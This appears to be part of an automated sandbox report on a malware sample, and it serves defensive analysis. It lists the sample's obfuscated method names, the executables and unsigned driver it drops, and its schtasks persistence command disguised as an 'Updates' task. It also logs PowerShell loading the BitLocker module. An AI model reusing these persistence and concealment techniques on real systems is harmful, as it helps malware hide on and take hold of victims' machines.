            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, s1DyL6nIr3WcZnwnks.csHigh entropy of concatenated method names: 'XxrTMXvM3s', 'rkeTQavVUc', 'sYkTa1KDHR', 'OqNTy0wfun', 'xdMT6UkmtI', 'jgLTSgYcY0', 'knYTY6QfFr', 'lVITc3xHvg', 'u5vTN0C2pl', 'sJnTJ9Krpc'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, y1ISFm1UW32ChpJwDw.csHigh entropy of concatenated method names: 'B6M7YFImdT', 'K5k7cP5gH6', 'afv7Jiu40i', 'QUS7EhSXyF', 'UYv7ol5Wts', 'mtX7GD02pc', 'WRvkjyKspom3KMHwIv', 'lP0wBNuQ4LhwN55i59', 'exy77xSduM', 'My97TqMRvO'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, CeFBhkjXl7DfEU5pnic.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'F0SkRQCtym', 'eI7keP2KSP', 'JVekpRuPJu', 'dQak4sejCx', 'qk1kjw4HPV', 'dxmkfZHna1', 'GmVkmuafNB'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, mq96kWukfK2Q9hUELT.csHigh entropy of concatenated method names: 'EXibIJjLk', 'F8uO41ANo', 'u5OI4MqsE', 'v0b1SKyYw', 'MGdila3sm', 'zODuiiTYD', 'r2cRcOIaSAkpN1lV3G', 'HyahwmctveqvyR6wxB', 'Gh6UqQojS', 'uBWk6pHLQ'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, vQeePpjddQ8t34fOAnU.csHigh entropy of concatenated method names: 'r0SvHtcNlU', 'eLQv0gQlLL', 'KravbiplKh', 'U1YvONek55', 'He5vgvkaDM', 'YgivIhNEwR', 'j9Fv1xiQCs', 'tjCvVEV1Ee', 'LqoviNXAfp', 'uCBvuG7GZ6'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, rAn20DjuqaPuLG6SOA8.csHigh entropy of concatenated method names: 'gSDkHWkxn9', 'JNYk0gZ5O8', 'bojkbmgGxE', 'KwfJR9pcKhyd25CRnZ1', 's6hiwdpPevI7gKoyEBV', 'zLGuL5pB6IdX3FjNPR5', 'AWcjEhpraxGn07OK4Xy'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, Pp2hjWWk1HDNpyBeLi.csHigh entropy of concatenated method names: 'fOTYHBlsB9', 'QjvY0sgA34', 'Tl8YbapZuZ', 'PQeYO1mL1J', 'OH1YgdJRtf', 'iuFYIbJTWK', 'Xr9Y1QnLOL', 'MmIYVxC0qU', 'MDPYiu6kJR', 'ax1YuvjDWk'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, jKhuK7lYn9WVynG1co.csHigh entropy of concatenated method names: 'P9OoWow4nm', 'Hocont8fpP', 'DAZoRW9BFs', 'XdGoewkelT', 'CypoZspnr9', 'gmKoBkM5jG', 'njxoqdrggw', 'd5codKQlBZ', 'QZ7ohp28yI', 'SgXoPiOkEU'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, UweUfDTNqoWbI1Olm6.csHigh entropy of concatenated method names: 'soTYQYCH1A', 'EvcYyleQ34', 'TwtYS8lET0', 'CQASLP8BT5', 'FYuSz4SEsC', 'VUxY8gTQgV', 'whUY7p1LJZ', 'CjfYrBTdwW', 'anxYTDRt6J', 'qbMYlKm3M9'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, suQaChQd9xLiBcArN6.csHigh entropy of concatenated method names: 'EymU9hp9qy', 'KewUZRKktq', 'zDZUBKMhZw', 'DDwUqWkHS7', 'kXXURBq7my', 'T4xUd4nnfk', 'Next', 'Next', 'Next', 'NextBytes'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, S12h4verlINyR2XZ17.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Cx2rAOCadQ', 'FCUrLcH5NH', 'gXDrzl2UGo', 'FDST8clyn8', 'SbRT7qxNTF', 'pkMTrfgP3a', 'KhvTTQJYZX', 'CXiTr5qpXkXBXDSFdwE'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, aah938iUx3YME6xSJG.csHigh entropy of concatenated method names: 'TrSv717pm6', 'E7UvTMsKuq', 'IjkvlsUTsv', 'I94vQOQbhu', 'mT5va9Q7lo', 'ungv61v3It', 'WlpvSJ0ZTe', 'EvcUm264YP', 'RWSUCLbbpr', 'TpsUAsjHZT'
            Source: 1.2.P1 HWT623ATG.bat.exe.44e54c0.8.raw.unpack, GDJBwVybNjOcuS31Hc.csHigh entropy of concatenated method names: 'hPe2V1Gxa9', 'ctX2ivAP4u', 'q4I29TKdB0', 'rT92ZgMRDY', 'qIy2qNHMG8', 'NVJ2dBrPHE', 'tSU2PaP4IB', 'Qsa2306e4c', 'Hes2WD9ZCF', 'JqC2whfaX1'

            Persistence and Installation Behavior

            barindex
            Sample is not signed and drops a device driver
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeFile created: C:\Users\user\AppData\Local\erindres\keres\skuboppernes.sys
            Source: C:\Windows\SysWOW64\compact.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Guzzler[1].exeJump to dropped file
            Source: C:\Windows\SysWOW64\compact.exeFile created: C:\Users\user\AppData\Local\Temp\bfc.exeJump to dropped file
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeFile created: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeJump to dropped file
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\Smilet.exeJump to dropped file

            Boot Survival

            barindex
            Uses schtasks.exe or at.exe to add and modify task schedules
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp"

            Hooking and other Techniques for Hiding and Protection

            barindex
            Loading BitLocker PowerShell Module
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
